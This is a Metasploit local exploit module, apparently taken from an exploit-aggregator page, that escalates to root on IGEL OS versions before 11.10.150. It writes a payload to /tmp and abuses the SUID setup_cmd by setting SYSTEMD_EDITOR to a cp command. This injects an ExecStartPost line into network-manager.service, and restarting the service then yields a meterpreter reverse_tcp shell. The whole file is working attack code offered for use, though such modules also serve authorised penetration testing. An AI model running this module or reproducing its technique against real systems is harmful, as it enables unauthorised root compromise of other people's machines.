Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-LOCAL-IGEL_NETWORK_PRIV_ESC-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  include Msf::Post::Linux
  include Msf::Post::Linux::System
  include Msf::Post::Unix
  include Msf::Post::File
  include Msf::Exploit::FileDropper
  include Msf::Exploit::EXE
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'IGEL OS Privilege Escalation (via systemd service)',
        'Description' => %q{
          Escalate privileges for IGEL OS Workspace Edition sessions, by modifying
          network-manager.service using setup_cmd (SUID) and network, then restarting
          the service.
        },
        'Author' => 'Zack Didcott',
        'License' => MSF_LICENSE,
        'Platform' => ['linux'],
        'Targets' => [
          [
            'Linux x86_64', {
              'Arch' => ARCH_X64,
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
            }
          ],
        ],
        'DefaultTarget' => 0,
        'SessionTypes' => ['shell', 'meterpreter'],
        'DisclosureDate' => '2024-07-10', # Patch release date
        'Notes' => {
          'Stability' => [CRASH_SERVICE_RESTARTS],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [CONFIG_CHANGES, SCREEN_EFFECTS]
        }
      )
    )

    register_advanced_options([
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ])
  end

  def check
    version = Rex::Version.new(
      read_file('/etc/system-release').delete_prefix('IGEL OS').strip
    )
    unless version < Rex::Version.new('11.10.150')
      return CheckCode::Safe("IGEL OS #{version} is not vulnerable")
    end

    CheckCode::Appears("IGEL OS #{version} should be vulnerable")
  end

  def exploit
    print_status('Uploading payload to target')
    payload_file = write_payload(generate_payload_exe, datastore['WritableDir'], 0o700)

    print_status('Writing config to target')
    config = build_config(payload_file)
    config_file = write_payload(config, datastore['WritableDir'], 0o600)

    print_status('Applying service config')
    vprint_status(modify_service(config_file))

    print_status('Restarting service')
    vprint_status(restart_service)
  end

  def write_payload(contents, dir, perm)
    fail_with(Failure::NoAccess, "Directory '#{dir}' is not writable") unless writable?(dir)
    fail_with(Failure::NoAccess, "Directory '#{dir}' is on a noexec mount point") if noexec?(dir)

    filepath = "#{dir}/#{Rex::Text.rand_text_alpha(8)}"

    write_file(filepath, contents)
    chmod(filepath, perm)

    unless file?(filepath)
      fail_with(Failure::Unknown, "Failed to write to '#{filepath}'")
    end

    register_files_for_cleanup(filepath)

    return filepath
  end

  def build_config(payload_file)
    config = <<~CONFIG.strip
      [Service]
      TimeoutStartSec=infinity
      ExecStartPost=#{payload_file}
    CONFIG
    return config
  end

  def modify_service(config_file)
    command = <<~COMMAND.strip
      /usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")' << EOF
      env SYSTEMD_EDITOR="/bin/cp #{config_file}" /config/bin/setup_cmd /config/bin/network edit
      EOF
    COMMAND

    script_file = write_payload(command, datastore['WritableDir'], 0o700)
    cmd_exec(script_file)
  end

  def restart_service
    create_process('/config/bin/setup_cmd', args: ['/config/bin/network', 'restart'], time_out: 120)
  end
end